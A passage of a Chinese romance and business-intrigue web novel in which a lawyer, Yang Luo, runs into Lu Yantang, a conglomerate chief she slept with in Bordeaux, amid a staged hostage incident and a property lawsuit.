陆军山知道他心底里的傲气,但也不屑跟小孩子计较,他叫陆砚堂坐下喝茶,两杯下肚,便开始跟他说正事儿:“西京是连着南边儿的第一个突破口,西京的地界拿下了,以后的路才好走。我把这个位置让你做,就是跟整个陆家摊牌了。不过我只能扶你上位,暗箭能不能防,外敌能不能破,要看你自己。”
陆砚堂喝着茶,若有所思。无论他对陆军山本人什么态度,但他仍是个老将军,凡事正事儿,他没有不听的道理。
“承熙对你的态度你也知道,你自己看着处理。倒是你姐姐,凡事儿也别太跟她计较,她无心争权,坏不了你的事儿。另外江月集团那儿要抓紧时间。濒死之人就快点了断,做生意,最忌讳意外。”
陆砚堂放下杯子,轻声道:“知道了。”
陆军山说完正事儿,又道:“你年纪也不小了,该考虑自己的事儿了。我今天把话给你说明白,我知道你对你妈的事儿有心结,我们陆家也不再需要靠联姻增势,所以你的事儿,你自己做主。只有一条,我不管你领回家的女人是温柔是泼辣,是有钱有势还是无名小卒,她可以不给陆家锦上添花,但绝对不能坏陆家的大局。”
陆砚堂静静听着,眼里是一丝淡淡的氤氲。
几杯茶喝完,陆砚堂便要起身离开,走到门口时陆军山又叫住他。
“今天是你母亲的忌日,去给她上柱香吧。”
陆砚堂缓缓回头,语气嘲讽。
“母亲?我的哪个母亲?”
陆军山的脸色终于变了,一场父慈子孝的戏在此刻撕破了脸。
陆砚堂头也没回的离开,守在门口的程进敏锐的捕捉到他脸色阴沉,大气不敢出一声的跟了上去,两人到了车库,一个穿皮夹克的男人正站在车旁。
程进喊了一声:“老七,干嘛呢?”
那个叫老七的男人转过身来,朝陆砚堂迎了过来,说:“陆总前几天让查的事儿我弄好了,怕您着急用,我赶紧给送过来。”
程进看了看他手里的档案袋,说:“上车吧。”
陆砚堂从老七手里拿过档案袋,在后座上一言不发的看着,资料里放着杨珞不同时期的照片,或青涩,或成熟,短短一天,她就被人查的清清楚楚。
老七在副驾驶上勾着头对陆砚堂说:“这女的背景很简单,查起来不费劲儿。她爸是个警察,十年前出任务牺牲了,她妈就是个普通公务员。她自己呢,从小学习就不错,前两年在港大毕业就回到了西京,现在在做执业律师。”
陆砚堂没搭话,依旧低头看着手里的资料,老七见他没打断自己,就继续讲:“倒是她和林纪泽有点关系。”
程进的眼皮跳了一下,双手紧了紧方向盘。
“倒也不复杂,杨珞做过林纪泽的家庭教师,一来二去林纪泽就惦记上人家了,但人有男朋友,叫陈桥。后来林纪泽做了好些个流氓事儿,死缠烂打了好几年。去年吧,逼着陈桥离开西京。两个人现在的关系还不太清楚,但是应该不明朗,林纪泽没有在公开场合带出去过。”
老七说完,车里一阵安静。他自己都摸不着头脑,又道:“但是这林纪泽也挺痴情的,黑/帮太子爷要女人多简单的事儿啊,直接上就完了,他七弯八拐的愣是跟人耗了好几年,当流氓也没当个彻底,怕是走心了,不舍得硬来。”
陆砚堂合起材料,一言不发,沉闷的瘆人。老七从后视镜里偷偷瞥了老大两眼,再不敢贫嘴。找了个红绿灯的空档,他偷偷用口型问程进:“这女的和老大什么关系?”
程进看了眼面色如墨的陆砚堂:“少管闲事。”
看似什么都没说,又什么都说
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了,老七跟在陆砚堂身边这么多年,凭程进这敷衍的回答立马就猜了个七七八八。而后他的表情千变万化,最后落在不解上。
陆先生这么个谨小慎微的人,从没在女人上栽过跟头,怎么还碰上林纪泽的人了?这不是向林家挑事儿呢?
他不理解。
陆砚堂到家后,老七先离开了,程进刚准备走,陆砚堂说:“阿进,来家里。”
程进跟着进去,两人一同上楼。
程进知道他要干嘛,今天是他母亲的忌日。
他走到一扇暗门处,按了指纹进去。
房间里是布置好的香阁,里面供奉着陆砚堂妈妈的牌位和遗像。程进跟着陆砚堂一起上了三炷香,磕了三个头。
下楼后,陆砚堂去倒了两杯热水,把那叠资料递到他面前。
程进一时不知是怎么回事,提心吊胆的沉默着。陆砚堂的脸色自从老宅出来后就没好过,他现在摸不准陆砚堂是因为老爷子黑脸,还是因为杨珞的资料。
陆砚堂喝了两口水,问:“阿进,你怎么看?”
程进据着手,如实回答:“老七在西京办事儿您可以放心,他说查清楚了应该就是清楚了。至于杨小姐和您……我觉得应该是巧合。林家现在还是老大当家。要说林家跟您做对,凭林纪泽是不够格的。我查了一下林纪泽的在西京的公司,其实多半是些空壳子,主要的东西还都放在港城,他来西京,应该是借着幌子来找杨小姐的。如果林纪泽跟您没什么恩怨,那杨小姐自然也不会处心积虑跟您有瓜葛。”
话里话外,不过是让陆砚堂放心而已。
陆砚堂:“他以前是跟我没瓜葛,以后就说不定了。”
程进有些搞不懂了,委婉道:“这萍水相逢的事儿,您要是不再提起,也就过去了,应该算不上什么大事儿。况且杨小姐走的利索,也没什么要纠缠的意思。”
陆砚堂靠在座椅上,淡淡道:“阿进,冲冠一怒为红颜的人,都是疯子。你可以瞧不上他,但不能轻视他。再有本事的,也怕不要命的。”
程进脸色变了变:“我知道了,我交代一下,让人把您去波尔多的行程给抹掉。”
陆砚堂点了点头:“回去吧,早点休息。”
程进走后,陆砚堂独自在茶厅坐了一会儿。诺大的房间只有他一人,一切都异常安静。
他脑海里闪过杨珞的影子,酒庄里的干练靓丽,伏在地毯上的妖娆可人……
还有在他身下的承欢的羞怯。
陆砚堂想起她在马背上一脸茫然的泪水,还有那晚她的噩梦。
他着实没想到是这样。
15. 第10章
杨珞是被周淼的电话吵醒的,她迷迷糊糊接了电话,对面传来一声咆哮:“你起床了吗?今天要去陵川你是不是都忘了?”
杨珞猛的从被窝里坐起来。她昨晚睡的太晚,今早愣是两个闹钟都没把她叫醒。
“起了起了,马上。”杨珞一遍应着,一边冲进卫生间洗漱。
周淼:“我一会儿来接你吧,十分钟见。”
杨珞连声谢谢。今天是他们和陵川正式合作的第一次见面,说要简单汇报一下合作内容,双方熟悉熟悉。为此张凌睿的团队专门准备了报告演讲,周淼把这重任交到了杨珞手里。杨珞化了个十分钟速成妆,手忙脚乱的收拾好东西,刚往嘴里塞一块面包,周淼就到了。
周淼的车进不来,还是杨珞跑去小区门口的,她现在有点知道高档小区的鸡肋之处,这未免太大了点。
杨珞气喘吁吁的坐在车上,周淼扒拉下墨镜,惊讶的看了看旁边的一栋栋高档公寓,说:“看不出来啊,你榜上大款了?”
杨珞系上安全带:“我蹭我闺蜜的,走吧。”
路上周淼开的飞快,她们八成是要迟到,本以为紧赶慢赶能赶上,谁知到了陵川又出了意外。
陵川集团的大楼甚是豪华,他们在全国的产业范围都很广,大厅里不知是有什么活动,熙熙攘攘很多人。周淼拉着她找电梯,许是走得太急,根本没注意身边那个衣着褴褛,目光凶狠的男人。
穿过人群的时候,周淼忽的撞到一个人,那人神色紧张,怀里揣着的东西掉了下来。掉落的一瞬间,杨珞看到了。是一把尖锐的匕首。
周淼转身过来:“对不起……”
杨珞:“小心!”
几乎是一瞬间,男人猛的扯住周淼的衣服将她挟持,一手捡起地上的匕首架在她喉咙上。整个大厅安静了半秒,随后爆发出此起彼伏的尖锐声。
“都别过来,我要见你们老板!你们这群吃人血的,把我的钱还给我!我要见你们老板!”
一声歇斯底里的怒吼,大厅里的人如无头苍蝇到处乱撞,有些害怕跑了出去,还有些看热闹的挤了进来。
杨珞心跳如雷,保持几米距离跟着男人,周淼脖子被狠狠勒着,脸色苍白,吓的浑身发抖。
“你冷静一下!你先放开她!”
男人像疯了一样:“我不放!今天你们老板要是不来我就杀了她,要死一起死!”
杨珞:“她不是陵川的人,你劫持她也没有用,你有什么要求告诉我,我是律师,我可以帮你,你先放开她,不然你最后拿到钱也没命花,好吗?”
男人根本不听杨珞的话,索性没过多久陵川的保安就来了,但有人质在手,他们也不敢上前。杨珞手足无措时,人群里进来一个穿黑西装的男人,他大步上前,似乎是认识眼前的人:“张峰是吧?你把人放了,你之前要的钱我们给你,现在就给,只多不少。”
他说完,身边的人递给他一个箱子,杨珞瞥了一眼,应该有几十万的现金。男人打开箱子放在地上,朝张峰推了过去。
杨珞悬着的心刚落了下来,张峰看到眼前的钱似乎是犹豫了一下,而后猛的加重手中的力道,嘶吼道:“假的!都是假的!我要见叶兴!你们陵川是吸血鬼,专门吸我们老百姓的血汗钱!”
突如其来的暴躁让周淼吓出了泪,场面一时混乱无比,有人拿手机录像,还有几个记者抬着摄像机冲了过来。总部出现这种状况,绝对是大新闻,张峰像是唯恐天下不乱一般,一个劲儿的大喊大叫,却对地下的钱不管不顾。
杨珞心里觉得奇怪,可此刻想不了那么多,慌乱之中她同西装男对视一眼,男人朝她使了个眼色,杨珞立马会意。
杨珞小步向前,刚走两步,张峰朝她大喊:“别过来!再过来我弄死她!”
杨珞立马停住,问他:“你别激动,你说陵川集团是吸人血的,告诉我怎么回事儿好吗?”
意料之外,张峰居然听了她的话,一本正经的细数陵川集团的罪行:“我在他们这儿买的房子,结果都是豆腐渣工程,房子塌了,我老婆被压瘫痪了,他们半分钱都不赔,你说这不
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是吸人血的是什么?”
杨珞不断的安抚张峰,顺着他的话追问更多消息,正当张峰说的激动时,西装男猛的从后面扑上去,一把抓住张峰拿刀的手,一把将周淼推向安全的地方。保安第一时间冲上去,顷刻间便将张峰压倒在地。陵川很快封锁了大厅,所有事情处理的极为迅速。
杨珞冲上去接住周淼,周淼踉跄扶着她,像是灵魂出窍了一般。
“你没事吧?”
“没……没事。”
杨珞仔细确认一番,周淼除了受了点惊吓确实没受伤。张峰很快被带走,大厅里剩下劫后余生的唏嘘,老七吩咐让人把现场受惊的客人安抚好,然后朝杨珞和周淼走过来。
“真是抱歉,是我们的失误。需要去医院检查吗?”
杨珞看了眼周淼,周淼此刻已经恢复过来,确认了自己没受伤,摇了摇头:“不用了,我没事。”
老七不敢放心,说:“那我安排人送您二位回去吧。”
周淼:“算了,我们是来开会的,在你们法务部那边工作。真没想到第一天来就碰见这个,真是撞了鬼了。”
老七没想到是自家员工,这反倒让他放心了点。“那你们先去检查一下身体,法务那边我跟他们说。”
周淼想了想,还是决定算了。“不用了,我没受伤,还是赶紧工作吧,反正早晚都要干活,人抓起来就行了。”
老七不好再坚持,看周淼确实没受伤,便说:“那后续有任何问题,你只管提,我们负责到底。”
周淼点了点头,老七转身要走,杨珞突然叫住他。
“先生,你等一下。”
老七:“有事儿吗?”
回头的那一瞬间,老七忽然觉得眼前的人有点眼熟。
杨珞上前,看了眼几个记者模样的人,说:“这应该不是一个单纯讨赔偿的冲动行为,怕是你们陵川得罪了人,故意来做戏的。你们可以调查一下。不过这只是我的看法,希望能帮到你们。”
老七愣了一下,点了点头:“谢谢啊。”
16. 第11章
一开始杨珞就觉得不对劲,如果真是来要钱的,老七把钱扔过去的那一刻应该就结束了,张峰反而越来越猖狂,况且短短几分钟,路人围观拍照就算了,记者怎么会来的这么及时?
杨珞和周淼往七楼会议室走,老七径直去了陆砚堂的办公室。程进已经在门口等着,见老七过来急忙问:“处理的怎么样?”
老七:“人带走了,就是来了几个记者,影响不太好。”
两人一同进去,陆砚堂正气定神闲的看材料,听到声音头也没抬,问:“张峰是谁?”
程进解释:“之前一直来索赔的那个客户。他那栋房子塌了是因为楼上的用户私自打通了承重墙,跟我们建造质量没关系。而且他索赔的数额远远超过损失,我们当然不能给,最关键的她老婆残疾也不是因为那次坍塌事故,纯粹是无理取闹。”
陆砚堂冷冷一笑,合起文件:“无理取闹?叶兴是陵川房产部门的老一,他一个小户主怎么可能接触的到,还喊着他的名字来叫嚣,之前怕是做了不少功课。”
老七是个粗人,没听明白陆砚堂话里的意思,程进恍然大悟:“背后应当有人推着。”
程进一说话,老七明白了,急忙说:“对!应该是有人指使他,按理说他是来要钱的,可是我把钱扔给他,他还是没完没了,反倒越闹越大,最后记者都来了,明显是做戏的。”
事情已经很明显,程进:“今儿脑子怎么这么机灵?”
老七:“不是我,刚才楼下有个女律师告诉我的,就是她朋友被劫持的。”
程进:“女律师?”
老七:“是啊,好像刚跟我们合作,现在在七楼开会呢。”
陆砚堂还在想张峰的事儿,他心里已经有了猜测,这个时间能使出这种下三滥手段的,没几个人。
“阿进,去查查张峰后面的推手。”
程进应下,又说:“法务那边的会开始了,张峰的事儿,估计跟江月集团那边也扯不开。”
陆砚堂思索片刻:“去一趟。”
张凌睿早就到了,根本不知道大厅发生的惊险一刻,周淼和杨珞到的时候他还埋怨两人迟到。杨珞把下面发生的事儿一说,张凌睿吓的一身冷汗。索性两人都没事,又问了问周淼,这才继续会议。
杨珞把演示稿调好,开始之前看了眼会议桌正中间空着的位置,铭牌上写着陆砚堂三个字。她问法务主管:“要等陆总吗?”
法务主管摆了摆手:“本来陆总是要来的,但是上午他给通知说有点忙,不一定能来,让我们只管进行,不用等他,你直接开始就行了。”
杨珞深吸一口气,开始讲述她准备了好几天的东西。
陆砚堂往会议室走着,心里盘算着江月集团的事儿,可不知怎么的,脑子里突然闪过什么,他问:“阿进,跟我们合作的是哪个律所?”
程进:“凌天律师事务所。”
陆砚堂想起点什么,却不太确定,等走到会议室门前,他隐约看到站在台上的身影,再近一点,他听到女人的声音。
陆砚堂停在门口,却没有进去。杨珞的声音此刻再清晰不过,一切事情像一个闭环,在陆砚堂心里有了一个清晰的脉络。
程进的反应和陆砚堂是一样的,在他自己说出凌天律师事务所的时候,他就和陆砚堂意识到了同样的问题。
只有老七一个人莫名其妙,陆总怎么停在门口了?他皱着眉头看了眼程进,这人也是一副凝重的表情。
可老七怂,不敢问,只能陪人干站着。
陆淮看着磨砂玻璃内女人模糊的倩影,半晌,推门而进,会议室顷刻静了下来,而后是接连连三的问候声。
在所有人的寒暄中,只有杨珞怔怔的惊在台上,有一瞬间的窒息,她不敢相信自己的眼睛。
她看着眼前的男人冲众人点头示意,款款落座,神色自如的靠在椅子上,而后波澜不惊的对上自己的眼睛。
待杨珞终于七魂归体,她看了眼男人身前的铭牌——陆砚堂。
“杨珞,可以继续了。”
不知是谁叫了她一声,杨珞猛的回过神来。她让自己快速冷静下来,继续讲演示稿。但手忙脚乱之下仍是出了点差错,偏偏张凌睿还打趣道:“陆总果然是魅力大,搞得我们小姑娘都心神不宁了。”
众人只觉得是玩笑,看到杨珞脸红也以为只是害羞,气氛顿时活络了许多,只有杨珞手心冰凉。
杨珞所有的模样都落在陆砚堂眼睛里,身边人只知玩笑,却看不出她此刻已经心乱如麻。许是这点见不得光的刺激感戳到了陆砚堂哪根神经,他直直的盯着杨珞,一言不发,嘴角挂一抹不明显的笑意。
会议室里各怀心思,会议室外程进退出去,十分无语的看着老七,问:“这就是刚才提点你的女律师?”
老七:“是啊。”
程进真想骂他一句猪脑子:“你就不觉得这人有点眼熟吗?”
老七睁大眼睛:“诶?你怎么知道我看她有点眼熟呢,刚才在下面我就觉得有点眼熟,但我没想起……”
老七看着程进的表情,闪过刚才陆砚堂站在门口久久不进的场景,似乎有一条线,牵着他往记忆里走。
“我靠!是她!”
他只见过杨珞的照片,又过了好几天,一打眼还真没认出来。
“这女的怎么来这儿了?”
“你小声点!”
会议室门口,董事长的两大助理居然鬼鬼祟祟的说起了悄悄话。
老七一脸困惑:“这也太巧了吧?那女的不会是蓄谋已久吧?难道我调查错了?”
程进:“错了也晚了,人已经让陆总看见了,真出了事儿,你就领罚吧。”
老七不服气:“不是,凭什么我领罚啊,陆总泡的妹子,就算是牡丹花下死那也是他自己个儿钻到人家石榴裙下面去的,关我什么事儿啊……”
程进:“反正你自求多福吧。”
老七满脸不情愿的朝会议室里望了一眼,对杨珞有了一丝莫名其妙的埋怨和提防。
杨珞觉得自己度过了人生中最漫长的二十分钟,她快速下台,离开了人群的焦点坐下来才觉得心跳慢了下来。
周淼轻轻凑过来:“你没事儿吧?”
杨珞飞快摇头。
周淼调侃她:“我就说吧,陆总很帅的,瞧你这魂不守舍的样子。”
杨珞尴尬的笑了笑,后续开会张凌睿侃侃而谈,他们在说些什么杨珞已经没心思听了。直到重要的部分说完,陆砚堂先行离开。
杨珞此刻才放松下来。余下的人就剩下的问题讨论了将近半小时才散会。
杨珞立马拉开凳子准备离开。
周淼:“杨珞。”
杨珞:“还有事儿?”
周淼:“你u盘没拿。”
杨珞转身抓了u盘就出了会议室,一刻都不想在这儿多呆。
周淼跟上她:“你着什么急,我发现你有点不太对劲儿。”
杨珞随口扯了个慌:“我
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家里有点事儿,我得着急回家。”
周淼:“哎呀,那我送你吧,我开车快。”
杨珞:“不用了,我打车更快。”
杨珞回到家,唐亭还没回来,她踢掉鞋子,无力的趴在沙发上。
陆淮就是陆砚堂。
她此刻无比后悔,如果知道两个人会再次见面,说什么她也不敢在波尔多跟他搞这么一出。
她最怕的是林纪泽知道这件事。那人是个疯子,当初她对陈桥的手段只怕会再演一遍。可是转念一想,陆砚堂那样的身份,林纪泽或许动不了他。
那最后遭殃的岂不是只有她这个平头老百姓了?
杨珞欲哭无泪。
真是色字头上一把刀。
杨珞正哀叹着,门铃响了,她心想是唐亭回来了,急忙跑过去开门。却在看到林纪泽的那一刻愣住了。
他一身黑色的大衣,凌乱的七分后背头被外面的雨微微打湿,几缕落在了额前。
杨珞心里咯噔一下,做贼难免心虚。不过也很快镇定了下来。按照林纪泽的性格,如果他知道自己和陆砚堂有过一夜纠缠,不可能佯装无事,林纪泽不屑假装,他最是嚣张直白。
“你来干什么?”
林纪泽站立在她面前,低头看她:“我打你的电话你不接,只能来找你了。”
杨珞:“你找我有事?”
林纪泽笑着走进来:“我想你了。”
杨珞无言。
林纪泽拍了拍大衣上的水渍,将杨珞从头到脚看了一遍:“看来你没事,那个劫持的匪徒呢?有没有伤到你朋友?”
杨珞:“你的消息倒是灵通。”
林纪泽:“我担心你,毕竟刀剑不长眼,要是伤了你就麻烦了,刚到西京,我可不想这么快就见血。”
杨珞冷笑:“放心,跟您的手段比起来,那人温柔多了。”
林纪泽不气反笑,拎出几个袋子放在地上:“这是衣服和首饰,你试试,如果不合适我再让人去改。”
他拿出一张请柬:“周末晚上六点我来接你。”
杨珞看了眼请帖,是个很正式的商业峰会的晚宴。林纪泽在香港是个游手好闲,坏事做尽的浪荡公子,到了西京反而人模狗样的开始搞事业。
杨珞讽刺道,说:“你这样每天想着做尽坏事的人,还有心思工作呢?”
林纪泽低声笑了笑:“当然了,不攒点家底儿哪儿有本事做坏事?”
杨珞:“唐亭快回来了,你走吧。”
林纪泽本来就是看看杨珞有没有事,他现在不愿和她正面冲突,所以没有多留。
林纪泽离开后,杨珞想给唐亭打个电话,却没摸到自己的手机。又在包里翻了半天,还是没有。
中午离开的时候心神不宁,应该是忘在陵川了。
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车上,程进把手机递给陆砚堂:“杨小姐的,今天忘在会议室了。”
陆砚堂拿过来,左右把玩了一下。
程进:“我自作主张,找技术人员查了一下,手机里一切正常。”
他跟在陆砚堂身边多年,这个时候谨慎点也没错。
陆砚堂嗯了一声,问:“你觉得林纪泽是个怎样的人?”
程进不明白陆砚堂话里的意思,硬着头皮说:“从资料上来看,应该城府不深,但不知道是不是做给别人看的。”
陆砚堂没说话,似乎在谋算着什么,手机在他手里转了几圈,被他装进衣袋。“开车吧。”
17. 第12章
杨珞在家等了许久才等到唐亭回来,一把拿过她的电话。
“借你手机打个电话,我的手机忘在公司了。”
唐亭:“别着急,里面有重要的东西吗?”
杨珞:“我的工作资料都在里面。”
杨珞拨了自己的电话。
别丢啊,千万别丢啊。
杨珞心里暗暗祈祷着,电话通了。
杨珞喜出望外:“您好,请问是您捡到我的手机了吗?”
电话那头的陆砚堂从办公桌上直起身来,踱步走到窗前,屋外星光点点,高楼林立。
“是我捡到了。”
杨珞的笑容凝在嘴角。
“是我,陆砚堂。”
唐亭就站在杨珞杨珞身边,她压下快速跳动的心,镇定道:“你好。”
陆砚堂:“你的手机被阿进捡到了。”
杨珞:“那麻烦您交给……”
她的话还没说完就被打断了。
陆砚堂:“明天你来取,下午三点,4205.”
似乎由不得杨珞拒绝。
陆砚堂又开口:“江月集团的那个案件是你在参与吗?”
杨珞没料到他开口便是公事,只得将自己所想抛之脑后
“对,是我和张凌睿律师在负责。”
陆砚堂:“好,那你明天下午带着前期资料一起来吧。”
陆砚堂很快挂了电话,杨珞却有些懵,两人像是通了一个工作电话,简短凝练。
唐亭:“找到吗?”
杨珞心:“找到了,我明天去取。”
唐亭并没有想太多:“找到就行。”
杨珞心里一直忐忐忑忑的,陆砚堂有一百种把手机还给自己的方式,偏偏要让她亲自去取。但他又让自己带着工作资料过去,一时间杨珞猜不透陆砚堂的心思。
但当熟悉的声音再次冲进耳朵,她竞不可抑制的想起了在波尔多的种种。
次日,杨珞到陵川大厦的时候正好是三点,她乘电梯到陆砚堂的办公室门口,看到了早等在这里的程进。昨天有陆砚堂在,她根本无心注意程进,此刻与他单独碰面在走廊上,不禁让她很是难堪。
程进一如既往的彬彬有礼,仿佛与她初次相见,杨珞突然讨厌这种雁过无痕的寒暄,好像只有她一人是台上的小丑,大戏什么时候开幕,戏要往何处演,全凭别人的心情。
程进:“杨小姐,陆先生已经在等您了。”
杨珞进了陆砚堂的办公室,闻到一股极淡的檀香,萦绕在一张巨大的屏风周围。陆砚堂的办公室分为了两个区域,屏风东侧是休息区,一张褐色的真皮沙发,一座红木茶台。西侧是办公的地方,摆了两张桌子,一张上面撒着乱七八糟的文件,另一张则略微整齐些。
陆砚堂的办公室同杨珞对他的印象相差不大,如同波尔多的那个套房,公式化的宽敞奢华,但他却无心这个,只用几处他需要的地方,其他的陈设摆件一看就很久没动过。
陆砚堂听到了杨珞的声音,却没有立刻抬头,直到手里的文件翻过一页才朝她看了过来。他抬着眼,头却仍是微微低着,从杨珞的角度看过去,由上而下一张英俊冷厉的面容。
陆砚堂:“请坐。”
杨珞走过去,单刀直入:“陆先生,我来拿手机。”
陆砚堂丝毫不拖沓,从抽屉里拿出推到她面前:“检查一下有没有什么问题。”
杨珞只看了看表面:“没有问题,谢谢。”
陆砚堂合上手里的文件:“客气了,要说谢谢,我还要谢你。”
杨珞疑惑的看着陆砚堂,不太理解。
“昨天是你提醒我的工作人员,那个歹徒像是故意做戏的吧?”
他一说这个,杨珞就明白了。
“我让人查了一下,确实查出了点东西,你看看。”
陆砚堂把一叠资料递给杨珞,里面是一些乱七八糟的照片,有购房合同,转账记录和微信聊天记录。杨珞看了个七七八八,大概知道是有人买通张峰,故意引记者过来,把陵川集团的丑闻曝出去,引起网上的轰动和网民的声讨。
陆砚堂:“江月集团的案子你也了解,你怎么看?”
杨珞从包里拿出她前期的调研资料,递给陆砚堂,认真回答:“总体来讲我们这边是有优势的,江月集团利用张峰来制造舆论算是狗急跳墙。这个案子属于房地产,本身社会公众关注度就大,又加上现在是自媒体太发达,所有流言蜚语传播的都很快。昨天他们一闹,其实影响到了公众的判断。我觉得应当尽快推进诉讼流程,不然拖得越久对陵川集团的影响越大。”
陆砚堂翻着她做的报告,轻笑了一声。
杨珞的心提到了嗓子眼儿,她不知道笑声的含义,是她的方案不够好,还是想法不成熟。
办公室安静了许久,杨珞终于按耐不住,小心翼翼的问:“陆总,还有其他指示吗?”
陆砚堂没有回答她,自顾慢条斯理的看材料。
杨珞在极尽的沉默中站立难安,背后渗出了层层冷汗。她此刻才明白眼前男人的压迫感有多强。那种让人望而生畏的寒意,让她恨不得找个地缝钻进去。
原来在波多尔,已经是他极尽温柔的一面了。
终于,陆砚堂合上文件,重新还给她。
“可以了,去吧。”
杨珞狠狠松了一口气,逃似的离开了。
走出陵川大厦她才觉得自己活了过来。片刻之后,却觉得意外的安心。
陆砚堂只字不提那段萍水相逢,只谈工作,对她也只是上级对下属的态度,那说明他并不在意,也并不愿意那件事重见光明。
如此想来,她的担心也多余了。
也是,陆砚堂这样的人,这种艳遇怕是多如牛毛,自然不会放在心里。
想到这儿杨珞浑身都轻松了。
回到家,唐亭正在喝啤酒,杨珞从冰箱里拿了一罐,一口气灌了半瓶,突然开口。
“那个跟我在波尔多一夜春宵的男人,我又遇见他了。”
唐亭面无表情:“然后呢?”
杨珞愣了愣,说:“你知道陆砚堂吗?”
唐亭呆住,问“那个人是……陆砚堂?”
杨珞点了点头:“我在波尔多的时候不知道他是陆砚堂,更不知道他是
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陵川集团的总裁。”
唐亭有些不可思议:“那你回西京遇到他之后呢?他怎么你了?”
杨珞:“没怎么,仿佛从来没有见过。有一些工作上的交集,他也是公事公办的态度。我刚见到他的时候还担心了一阵,我真怕林纪泽知道,到时候又是不得安宁。”
唐亭:“可就算是林纪泽,也拿陆砚堂没办法啊。”
杨珞并不了解陆砚堂,可依照唐亭的说法,陆砚堂背后的势力绝不亚于港城林家。
唐亭:“陆砚堂是陆军山的二儿子。但是个私生子。”
杨珞讶异:“私生子?”
“好像是他十四岁那年,他的名字才出现在了陆家的族谱上,自此之后一路过关斩将坐到今天这个位置。一个私生子,走到今天这一步,手段和心计都是不敢想象的。可怪就怪在这里,他现在已经成了陆家的主人,句句话都掷地有声,但有关他私生子的传言仍是人尽皆知,任凭别人在背后嚼他的舌根。凭他的手段,动动手指就能把这些流言拍死,再过个两年,就没人会记得他私生子的身份,名正言顺的当陆家的接班人。可他好像对这些传言听之任之,丝毫没有插手的意思,按理说他们这种大家族,最看重名誉。倒也是奇怪。”
杨珞摇了摇头,说:“豪门望族,金玉其表。管他是家生子还是私生子,我只希望我和他事能烂在波尔多,什么痕迹都不要带回来。”
两人又喝了一会儿,杨珞发现唐亭满脸愁容。
“你怎么了?”
唐亭摇了摇头。
杨珞:“是不是唐家又为难你了?”
陆砚堂是私生子,唐亭也是。
从唐亭被接回唐家的那一刻她就知道,她只是唐家养的一枚棋子。
杨珞知道唐亭的境地,也知道这么多年她一直想尽办法逃脱唐家的控制。
杨珞:“上次你不是说唐言声的秘书答应跟你合作了吗?有什么进展吗?”
唐亭叹了口气:“就是这件事,我拿到了唐言声之前给市领导行贿的线索,我一直想找机会交给他的秘书周诠,但一直没有机会跟他见面。”
杨珞:“唐言声怀疑你了吗?”
唐亭摇了摇头:“不像,起码现在应该不知道,他不是沉得住气的人。”
杨珞突然想到什么,转身去茶几的抽屉里翻找什么。
“我或许能见到他的秘书。”
唐亭:“你?”
杨珞拿出林纪泽给她的邀请函的名单:“林纪泽让我周日跟他一起去参加一个商业峰会的晚宴,晚宴名单上有唐言声。他的秘书会跟他一起出席吗?”
唐亭:“会,唐言声是个草包,但凡这种场面他都要带秘书。但是他的秘书不会跟到晚宴现场,一般都在偏厅或者车里等他。”
杨珞:“那你把东西给我,我替你交给他。”
唐亭犹豫了。
这件事有风险。
杨珞:“别犹豫了,本来那个宴会我就不想去,既然去了总要干点有价值的事儿。”
唐亭:“好吧,你一定要小心,千万不要被唐言声发现。”
杨珞:“放心。”
18. 第13章
杨珞大清早就收到了林纪泽的消息,他下午三点来接她,先去换衣服做造型,然后直接去晚宴现场。
杨珞回复知道了,起床收拾收拾去律所加班。
她把陆砚堂给她的所有资料看了看,理出了大致的案情。
江月集团是靠房地产发家的,但近几年没有很好的转型,虽然现在在西京也有响当当的名号,但已然是摇摇欲坠来。新的跟不上,偏偏老本行也干不好,开发的几处楼盘都有多多少少的问题,以往都是拿钱堵口,草草了事,谁是前些日子西京的一次小地震让一栋居民楼出现了半塌方的现象,虽然居民都没事,但房子肯定是住不了了。
已经购房的三十多户的户主均要起诉江月集团,江月集团却把责任推给了钢筋供应商,也就是陵川集团下的一个实业公司。
这本是小事儿,陆砚堂之所以亲自插手,应该是想借此机会直接把江月集团打趴下。
杨珞对这些商业之争并无太大兴趣,但这毕竟是个标的额巨大的案子,她现在跟谁过不去都不会跟钱过不去。
中午她找到张凌睿一起商量案件。张凌睿却用奇怪的眼神看她:“为什么昨天陵川不找我汇报工作,专程找你?”
杨珞信口胡邹:“我去拿手机,顺便的事儿。”
张凌睿一个白眼儿翻到天上:“拿手机?陵川几千号人都死光了?非得陆砚堂亲自给你还手机?他不会看上你了吧?”
杨珞心跳如雷:“不是陆总叫我去的,是他身边那个程助,我是碰巧遇见陆总,就说了两句案子。”
张凌睿半信半疑,他靠在椅子上,拍了拍肚皮,语重心长道:“这个案子啊,你要小心点做,别只盯着案子。”
杨珞感觉到他话里有话。
“那您指点指点我。”
张凌睿:“这些个商业斗争,哪个是摊到明面儿上的。打官司不过是个由头,里面的势力复杂着呢。尤其是在西京,明争暗斗,跟咱们也没关系。你多留个心眼儿,不要把自己牵扯进去就行了。”
杨珞也隐隐察觉了这案子背后的复杂之处。
“那这个案子要从哪个方向入手?”
“案子打不打都不一定,说不定谈判阶段就解决了。我们就和陵川法务那边多沟通,他们会按照老板的意思行事的,我们就陪着走流程就可以了。这次最重要的是把陵川这条线搭上,以后少不了并购这些肥差,倒时候有你赚的。”
杨珞明白了张凌睿话里的意思,官司不过是个手段,她们怎么做还得看上头的想法。
杨珞下午踩着点到家,林纪泽倒是守时,三点一道就来敲门。她要去专门的地方化妆换衣服,所以就穿了一身休闲装,素面朝天。
“衣服不用改吗?合身?”
“还行。”
其实有点小,但是杨珞懒得和林纪泽说。
林纪泽:“我原本以为内地会简单点,没想到和港城一样复杂。”
杨珞:“你指什么?”
林纪泽勾了勾唇角:“今天我要见一见唐家和江家的人,他们在给我抛橄榄枝,想跟我合作。知道为什么要过来找我吗?”
提到江氏集团,杨珞朝林纪泽看过去。
林纪泽:“因为他们要合起伙来对峙陆家。但是他们自己又不行。”
提到陆家,杨珞别开目光,沉默半晌又道:“我在替陵川做事,现在正跟江月集团打官司,我跟你一起出去,算怎么回事儿?”
林纪泽不在意的笑了笑:“不碍事,不是官司影响他们的关系,是他们的关系影响官司。”
林纪泽的话又一次印证了张凌睿的说辞。
杨珞没有再说话,转头去看窗外的风景,坐在一辆豪华而冰冷的车上,坐在一个她不喜欢的男人身边,她心底空落落的。
但思绪很快抽回,唐亭把资料放在了u盘里,她要在宴会上尽快找到唐言声的助理周诠。
其实杨珞还在名单上看到了陵川集团的邀请,但所幸来的人不是陆砚堂,是另一位叫陆承熙的。
